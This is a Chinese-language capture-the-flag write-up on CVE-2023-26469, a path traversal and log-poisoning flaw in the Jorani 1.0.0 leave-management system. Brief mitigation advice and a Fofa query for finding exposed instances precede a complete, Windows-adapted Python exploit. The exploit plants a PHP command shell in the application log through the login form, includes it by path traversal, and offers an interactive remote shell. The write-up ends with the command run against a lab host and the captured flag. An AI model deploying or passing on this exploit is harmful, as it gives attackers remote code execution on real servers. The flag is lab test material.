漏洞详情
- 漏洞类型:路径遍历(Path Traversal)和远程代码执行(RCE)
- 受影响版本:Jorani 1.0.0
- 成因:应用在处理文件路径时未充分校验用户输入,导致攻击者可以通过特制路径访问系统中的任意文件或执行恶意代码。
- 攻击方式:攻击者可能通过在 URL 中嵌入特定的路径遍历字符来访问不应公开的文件,例如配置文件、敏感数据或执行文件等。某些情况下,攻击者还可通过上传并执行恶意文件来获取服务器控制权。
防护措施
- 升级版本:建议用户及时将 Jorani 升级到修复了该漏洞的最新版本,以避免受此漏洞影响。
- 限制路径访问:在代码中严格验证并限制文件路径,禁止应用访问系统关键路径。
- 输入过滤:对用户输入的路径进行过滤,移除或转义路径遍历字符(如 .../),确保只能访问允许的文件目录。
- 最小权限原则:服务器上运行的服务应仅具有必要的权限,避免赋予过高的权限,从而减少潜在的影响范围。
靶标介绍:
Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在 Jorani 1.0.0 中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。
Fofa: title="Jorani"
可利用payload
html
https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
因为在window上是使用不了readline,所以我修改了一下脚本,使用了其他方式来实现在windows上运行脚本
py
"""
CVE-2023-26469 利用:Jorani 1.0.0中的路径遍历与日志注入漏洞
该漏洞允许通过向日志文件注入PHP代码,并利用路径遍历访问日志文件,从而执行远程代码。
"""
import pyreadline3 as readline # 替代readline库,适用于Windows环境
import requests
import datetime
import sys
import re
import base64
import random
import string
import platform
# 禁用SSL不安全请求的警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# 定义日志输出的函数
msg = lambda x, y="\n": print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x, y="\n": print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x, y="\n": print(f'\x1b[93m[?]\x1b[0m {x}', end=y)
# 正则表达式,用于提取CSRF令牌和命令执行结果
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)
# URL路径映射
URLS = {
'login': '/session/login',
'view': '/pages/view/',
}
# 随机生成一个头字段名,以绕过某些保护机制
HEADER_NAME = ''.join(random.choice(string.ascii_uppercase) for _ in range(12))
# 用于绕过重定向保护的请求头
BypassRedirect = {
'X-REQUESTED-WITH': 'XMLHttpRequest',
HEADER_NAME: ""
}
# 伪终端输入的提示符样式
INPUT = "\x1b[92muser\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "
# 简化URL构造的函数
u = lambda base_url, path_key: base_url + URLS[path_key]
# 注入的恶意PHP代码和路径遍历payload
POISON_PAYLOAD = f"<?php if(isset($_SERVER['HTTP_{HEADER_NAME}'])){{system(base64_decode($_SERVER['HTTP_{HEADER_NAME}']));}} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"
if __name__ == '__main__':
print("""
/!\\ 警告:未经授权使用此脚本是非法的 /!\\
""")
log("PoC 由 @jrjgjk (Guilhem RIOUX) 编写", "\n\n")
# 检查是否提供了目标URL
if len(sys.argv) != 2:
err(f"用法: {sys.argv[0]} <url>")
exit(1)
# 显示生成的头字段名称
log(f"用于攻击的请求头字段: {HEADER_NAME}")
target_url = sys.argv[1]
# 初始化会话并获取CSRF令牌
session = requests.Session()
log("请求会话cookie和CSRF令牌")
response = session.get(u(target_url, "login"), verify=False)
# 提取CSRF令牌,未找到时输出错误并退出
csrf_token_match = re.search(CSRF_PATTERN, response.text)
if not csrf_token_match:
err("无法获取CSRF令牌,请检查目标URL。")
exit(1)
csrf_token = csrf_token_match.group(1)
msg(f"获取到的CSRF令牌: {csrf_token}")
# 根据当前日期生成日志文件名
log_file_name = f"log-{datetime.date.today().isoformat()}"
log(f"目标日志文件名称: {log_file_name}")
# 向日志文件中注入恶意代码
data = {
"csrf_test_jorani": csrf_token,
"last_page": "session/login",
"language": PATH_TRAV_PAYLOAD,
"login": POISON_PAYLOAD,
"CipheredValue": "DummyPassword"
}
log("向日志文件注入恶意代码...")
session.post(u(target_url, "login"), data=data)
# 访问日志文件页面,执行命令
exploit_page = u(target_url, 'view') + log_file_name
# 模拟shell,进行命令执行
while True:
cmd = input(INPUT)
if cmd.lower() in ['x', 'exit', 'quit']:
break
elif not cmd.strip():
continue
# 将命令编码为Base64并发送请求
BypassRedirect[HEADER_NAME] = base64.b64encode(f"echo ---------; {cmd} 2>&1; echo ---------;".encode()).decode()
response = session.get(exploit_page, headers=BypassRedirect)
# 提取并显示命令执行结果
cmd_result = re.search(CMD_PATTERN, response.text)
if cmd_result:
print(cmd_result.group(1).strip())
else:
err("返回异常,请验证URL并重试。")
exit(1)
bash
python CVE_Jorani.py http://eci-2zed2ka6j5aw8hll9hcm.cloudeci1.ichunqiu.com
之后就可以了
html
flag{2fe0d424-f83e-4e03-aa07-270250d2fd87}